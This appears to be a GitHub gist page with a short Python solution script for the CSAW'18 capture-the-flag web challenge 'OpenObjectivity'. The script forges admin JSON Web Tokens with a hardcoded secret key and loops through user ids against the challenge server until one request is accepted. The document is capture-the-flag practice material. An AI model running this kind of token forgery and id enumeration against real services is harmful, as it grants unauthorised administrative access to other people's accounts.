Last active
October 18, 2018 20:00
-
-
Save swedgwood/0cedca949903d2931a1c881982c7aa45 to your computer and use it in GitHub Desktop.
Script for challenge 'OpenObjectivity' from the CSAW'18 RTC Qualifiers.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import jwt | |
import requests as rq | |
key = "dId_you_r3aLly_think_I_w0u1dnt_s3t_a_key" | |
payload = { | |
'exp': 99999999999, | |
'iat': 0, | |
'sub': 1, | |
'admin': True | |
} | |
url = "http://web.chal.csaw.io:10106" | |
for i in range(5000): | |
print(i) | |
payload["sub"] = i | |
auth = jwt.encode( | |
payload, | |
key, | |
algorithm='HS256' | |
) | |
r = rq.get(url+"/default/record", headers={"Authorization": auth}) | |
print(r.text) | |
if r.status_code == 200: | |
print(rq.get(url+"/user", headers={"Authorization": auth}).text) | |
break |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment